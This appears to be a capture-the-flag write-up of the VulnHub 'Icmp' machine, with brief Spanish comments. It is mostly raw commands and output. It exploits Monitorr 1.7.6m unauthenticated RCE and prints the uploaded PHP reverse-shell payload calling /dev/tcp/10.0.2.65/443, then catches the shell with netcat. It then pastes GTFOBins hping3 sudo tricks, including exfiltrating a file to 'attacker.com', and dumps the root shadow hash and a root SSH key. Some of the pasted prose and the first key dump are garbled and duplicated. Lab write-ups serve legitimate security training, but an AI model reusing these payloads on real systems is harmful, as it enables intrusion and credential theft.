

```
> cat target -l python -p
# Nmap 7.95 scan initiated Fri Jun 13 20:52:23 2025 as: /usr/lib/nmap/nmap --pri
Nmap scan report for 10.0.2.95
Host is up (0.00015s latency).

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
|   2048 de:b5:23:89:bb:9f:d4:1a:b5:04:53:d0:b7:5c:b0:3f (RSA)
|   256 16:09:14:ea:b9:fa:17:e9:45:39:5e:3b:b4:fd:11:0a (ECDSA)
|_  256 9f:66:5e:71:b9:12:5d:ed:70:5a:4f:5a:8d:0d:65:d5 (ED25519)
80/tcp    open  http     Apache httpd 2.4.38 ((Debian))
|_ http-title: Monitorr | Monitorr
|_ Requested resource was http://10.0.2.95/mon/
|_ http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:71:27:6E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

> whatweb http://10.0.2.95/mon/
http://10.0.2.95/mon/ [200 OK] Apache[2.4.38], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[Debian Linux][Apache/2.4.38 (Debian)], IP[10.0.2.95], JQuery, Meta-Author[Monitorr],
Script[text/javascript], Title[Monitorr%0A | Monitorr][Title element contains newline(s)!], X-UA-Compatible[IE=edge]

10.0.2.95/mon/
AllTheThings | Nessus | SonarQube | CCNA | OTW | HMVM | DL | VHB | THL | R-M | THM | PS | HTB | H4U | CyberChef



Monitorr Settings
Monitorr | 1.7.6m

> searchsploit monitorr 1.7.6m
-----
Exploit Title | Path
-----|-----
Monitorr 1.7.6m - Authorization Bypass | php/webapps/48980.py
Monitorr 1.7.6m - Remote Code Execution (Unauthenticated) | php/webapps/48980.py
```

```
> searchsploit -m php/webapps/48980.py
Exploit: Monitorr 1.7.6m - Remote Code Execution (Unauthenticated)
URL: https://www.exploit-db.com/exploits/48980
Path: /usr/share/exploitdb/exploits/php/webapps/48980.py
Codes: N/A
Verified: True
File Type: Python script, ASCII text executable, with very long lines (434)
Copied to: /home/kali/VulnHub/Icmp/48980.py

> mv 48980.py exploit.py
> python3 exploit.py
specify params in format: python exploit.py target_url lhost lport
```

```
> python3 exploit.py http://10.0.2.95/mon/ 10.0.2.65 443
A shell script should be uploaded. Now we try to execute it
```

```
> nc -lvnp 443
listening on [any] 443 ...
connect to [10.0.2.65] from (UNKNOWN) [10.0.2.95] 57886
bash: cannot set terminal process group (470): Inappropriate ioctl for device
bash: no job control in this shell
www-data@icmp:/var/www/html/mon/assets/data/usring$ |
```

```
www-data@icmp:/var/www/html/mon/assets/data/usring$ cat she_ll.php
GIF89a213213123<?php shell_exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.2.65/443 0>&1'");
```

```
www-data@icmp:/var/www/html/mon/assets/data/usring$ cat /etc/passwd | grep sh
root:x:0:0:root:/root:/bin/bash
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
fox:x:1000:1000::/home/fox:/bin/sh
```

```
www-data@icmp:/home/fox$ cat local.txt
c9db6c88939a2ae091c431a45fb1e59c
```

```
www-data@icmp:/home/fox$ ls -la
total 20
drwxr-xr-x 3 root root 4096 Dec 3 2020 .
drwxr-xr-x 3 root root 4096 Dec 3 2020 ..
lrwxrwxrwx 1 root root    9 Dec 3 2020 .bash_history -> /dev/null
drwx--x--x 2 fox fox 4096 Dec 3 2020 devel
-rw-r--r-- 1 fox fox 33 Dec 3 2020 local.txt
-rw-r--r-- 1 root root 78 Dec 3 2020 reminder
www-data@icmp:/home/fox$ cat reminder
crypt with crypt.php: done, it works
work on decrypt with crypt.php: howto?!?
www-data@icmp:/home/fox$ find / -type f -name "crypt.php" 2>/dev/null
www-data@icmp:/home/fox$ por lo tanto esta en la carpeta DEVEL a la que no tenemos acceso
```

```
www-data@icmp:/home/fox$ cat /home/fox/devel/crypt.php
<?php
echo crypt('BUHNIJMONIBUVCYTTYVGBUHNJI','da');
?>
```






```
www-data@icmp:/home/fox$ su fox
Password:
$ la contraseña es BUHNIJMONIBUVCYTTYVGBUHNJI
```

```
fox@icmp:~$ cd devel/
fox@icmp:~/devel$ ls -la
total 12
drwx--x--x 2 fox fox 4096 Dec 3 2020 .
drwxr-xr-x 3 root root 4096 Dec 3 2020 ..
-rw-r--r-- 1 fox fox 56 Dec 3 2020 crypt.php
```

```
fox@icmp:~$ sudo -l
[sudo] password for fox:
Matching Defaults entries for fox on icmp:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User fox may run the following commands on icmp:
    (root) /usr/sbin/hping3 --icmp *
    (root) /usr/bin/killall hping3
```

https://gtfobins.github.io/gtfobins/hping3/#sudo

TheThings  Nessus  SonarQube  CCNA  OTW  HVMV  DL  VHB  THL  R-M  THM

SUID

If the binary has the SUID bit set, it does not drop the elevated access the file system, escalate or maintain privileged access as run `sh -p`, omit the `-p` argument on systems like Debian (`<= 5`) shell to run with SUID privileges.

This example creates a local SUID copy of the binary and runs it to interact with an existing SUID binary skip the first command and path.

```
sudo install -m =xs $(which hping3) .  
./hping3  
/bin/sh -p
```

Sudo

If the binary is allowed to run as superuser by `sudo`, it does not may be used to access the file system, escalate or maintain privilege.

(a) `sudo hping3`
`/bin/sh`

(b) The file is continuously sent, adjust the `--count` parameter. Receive on the attacker box with:

```
sudo hping3 --icmp --listen xxx --dump
```

```
RHOST=attacker.com  
LFILE=file_to_read  
sudo hping3 "$RHOST" --icmp --data 500 --sign xxx --file "$LFILE"
```

```
> ssh fox@10.0.2.95
```

```
The authenticity of host '10.0.2.95 (10.0.2.95)' can't be established.  
ED25519 key fingerprint is SHA256:Og5PeW600NFQK11BqDmFZM6/cXGG1tF4CMCbKMwfshU.  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '10.0.2.95' (ED25519) to the list of known hosts.  
fox@10.0.2.95's password:  
Linux icmp 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64
```

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

Last login: Thu Dec 3 16:14:19 2020 from 192.168.0.114

```
$ script /dev/null -c bash
```

Script started, file is /dev/null

```
fox@icmp:~$ export TERM=xterm
```

```
fox@icmp:~$ sudo hping3 --icmp --listen jason  
[sudo] password for fox:  
Warning: Unable to guess the output interface  
hping3 listen mode  
[main] memlockall(): Success  
Warning: can't disable memory paging!  
root:$6$9Qm105MhD8Vho1Po$geuA71GpDPM8tVjff2KeyPTc67Ljy0.VR/P3d0f/wzdpPAZ80px.ICNIHQH8Btr.1L.  
12Dz1.lw55f66cKxT118599:0:99999:7:::  
daemon*:18545:0:99999:7:::  
bin*:18545:0:99999:7:::  
sys*:18545:0:99999:7:::  
sync*:18545:0:99999:7:::  
games*:18545:0:99999:7:::  
man*:18545:0:99999:7:::  
lp*:18545:0:99999:7:::  
mail*:18545:0:99999:7:::  
news*:18545:0:99999:7:::  
uucp*:18545:0:99999:7:::  
proxy*:18545:0:99999:7:::  
www-data*:18545:0:99999:7:::  
www-data:~$  
fox@icmp:~$ sudo hping3 --icmp --listen jason  
Warning: Unable to guess the output interface  
hping3 listen mode  
[main] memlockall(): Success  
Warning: can't disable memory paging!  
--- BEGIN OPENSASH PRIVATE KEY ---  
b3B1bnNzc1ZktdjEAAABAGSvbmUAAAEbn9uZQAAAAAABAAABlWAAAdzc2gtcn  
NhAAAAAwEAAQAAAYEAqCz/pkZjVNZ19zdKJ0kvMhY81Ob2Qth8e/3bLJ/ssgmRL0JXAQ  
eGF31Kw7MFJ4K1bmrD0zWEMTULj1W60hwZ8txdNmTKbof4lrIm930qgrqY8/ZGwF/k  
5f848YemgRuhDnvtckLF2Q2mb3W9mRSDIayVXZ8m736GrUpmH7VGCSksuIXfZIn3E  
fj9y0zlpUgtPdAt0cYHrR61XsuokFPCDBH0N/0XEKVAHaQ6wKL/EAGQqPuqGHTGLV62y  
LL8bpVdeAao16a3dxAT3agLxOcuhdghFAPVHeojG1aMnptPq0FIWZtV3g1SRum7GBGUR  
+amhN6Zenn7Wu0Udj1btULNadnIEyP7X-----BEGIN OPENSASH PRIVATE KEY-----  
b3B1bnNzc1ZktdjEAAABAGSvbmUAAAEbn9uZQAAAAAABAAABlWAAAdzc2gtcn  
NhAAAAAwEAAQAAAYEAqCz/pkZjVNZ19zdKJ0kvMhY81Ob2Qth8e/3bLJ/ssgmRL0JXAQ  
eGF31Kw7MFJ4K1bmrD0zWEMTULj1W60hwZ8txdNmTKbof4lrIm930qgrqY8/ZGwF/k  
5f848YemgRuhDnvtckLF2Q2mb3W9mRSDIayVXZ8m736GrUpmH7VGCSksuIXfZIn3E  
fj9y0zlpUgtPdAt0cYHrR61XsuokFPCDBH0N/0XEKVAHaQ6wKL/EAGQqPuqGHTGLV62y  
LL8bpVdeAao16a3dxAT3agLxOcuhdghFAPVHeojG1aMnptPq0FIWZtV3g1SRum7GBGUR  
+amhN6Zenn7Wu0Udj1btULNadnIEyP7XpLECoHweeDvM66MTLxIoJv8e23BAvd/psys  
ILU0zA1Tccst8ubhcz7Zcz14hnc0L3d850z/cvBz8smTczczBNAHtU5Z1Yv0nTn
```

```
fox@icmp:~$ sudo hping3 --icmp --listen jason --safe
you must specify a target host if you require safe protocol
because hping needs a target for HCMP packets
fox@icmp:~$ sudo hping3 --icmp 127.0.0.1 --listen jason --safe
Warning: Unable to guess the output interface
hping3 listen mode
[main] memlockall(): Success
Warning: can't disable memory paging!
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAABG5vbmUAAAABm9uZQAAAAAAAAABAAABlwAAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqcCz/pKzjVNzi9zdKJDkvHmY8lOb2Qth8e/3bLJ/ssgmRLoJXAQ
sGF3lKw7MFJ4Kl6mrbod2w8EMfULTjW60hwZ8txdNmTDkbof4irIm93oQgrqMy8/2GwF/k
Sf84k8Yem6gRUhDDnYcKLF2Q2mBJW9WRSDImYVvZX8n/30GrUpHN7cVGCsKsuTxfZI4n3E
fj90y0zlpUgtpdVAt0cYfhR6tXsuoKfPCD8H0N/0XEKVAHaQGwKl/EAGQqPuqGMTGLv62y
LL8bpVdeAaol6aJdxAT3agLx0cuhdgHFAPVHeojGtIaNmpiPq0fIWZtV3gJiSRum7GBGUR
+aWhN6ZEnn7Wu0u0jibtULNadnIEyPP7xplEcoHWeeDvM06MtLx1ojv8eg23bAvd/ppsY
Uli0w2/AJGd5HhR8H9vE7CXz1+bgq6oV2SH95B/pfBc@sKD5Tn/r4CFw+NTUH573iY2d0Zdo
```

```
> nano id_rsa
> chmod 400 id_rsa
> ssh -i id_rsa root@10.0.2.95
Linux icmp 4.19.0-11-amd64 #1 SMP Debian 4.19.146-1 (2020-09-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
root@icmp:~# |
```

```
root@icmp:~# cat proof.txt
9377e773846aeabb51b37155e15cf638
```